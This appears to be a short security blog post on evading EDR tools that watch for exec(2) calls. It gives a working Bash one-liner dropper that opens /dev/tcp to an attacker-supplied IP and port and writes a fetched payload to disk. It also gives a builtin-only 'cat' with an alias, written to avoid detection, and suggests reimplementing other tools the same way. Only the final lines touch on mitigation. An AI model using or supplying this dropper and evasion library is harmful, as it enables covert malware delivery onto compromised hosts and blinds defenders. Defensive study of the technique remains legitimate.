execve(2)-less dropper and lib
How to bypass one of the most basic detection technique implemented by most EDR tools.
· 3 min read
One of the most common ways to detect intrusions and suspicious behavior is by looking for binary executions. This is mostly done by EDR tools by looking for calls to the exec(2)
syscall which is used when executing commands (such as ls
, curl
, wget
…). So I was looking for ways to evade the detection of such tools. There’s one special kind of command that will never trigger a call to exec(2)
: shells builtins.
So I ended up building a small oneliner dropper using only shell primitives, that makes it undetectable by EDR tools looking for execs:
exec 3<>/dev/tcp/${IP?}/${PORT?}; printf "GET /${PATH?} HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n">&3; f=0; while IFS= read -r l<&3; do [ $f -eq 1 ] && echo "$l"; [[ $l == "#_"* ]] && f=1; done > dropped; exec 3<&-
To make it work, you have to use Bash on the target’s system and serve the file using HTTP only, as the TLS handshake cannot be established.
Also, if you look closely at the oneliner, you’ll notice that I’m looking at the #_
chars before printing the payload. It’s a convenient way to skip printing HTTP headers, but the payloads we’re dropping have to start with this string. The output is then redirected into a file named dropped
.
Let’s check how it works in practice:
We can ensure that no exec(2)
is called by using strace
:
Now that we can drop any file on our target system without being detected, we can load a shell lib replacing common binaries with their builtin-only equivalents. As an example, here’s a simple cat
written with shell primitives:
#_
#!/bin/bash
function z_cat() {
if [ "$#" -eq 0 ]; then
echo "Usage: $0 <file> [file ...]" >&2
return
fi
for file in "$@"; do
if [ ! -r "$file" ]; then
echo "Cannot read file: $file" >&2
continue
fi
while IFS= read -r line; do
echo "$line"
done < "$file"
done
}
alias cat="z_cat"
I also included the alias
part at the end of the file to be sure to not use cat
inadvertently and be detected.
Most of the other common tools should be easy to implement (curl
can be a variant of our dropper with more checks for example, and a smaller implementation of sed
could be done using Bash’s strings manipulation features).
So far, the only thing that may be hard to create everything related to the unlink(2)
syscall, such as rm
. AFAIK, there’s no shell primitive that permits such operation. But as we can download malicious files on a system without being detected now, it may be possible to get a modified lib for Bash with extra features, such as a builtin rm
.
About mitigation, I think the only way to really be able to detect everything that’s going on is by monitoring calls to read(2)
to have a real keylogger:
However, this may generate A LOT of noise, so it must be binded to processes that may offer interactive sessions, such as shells.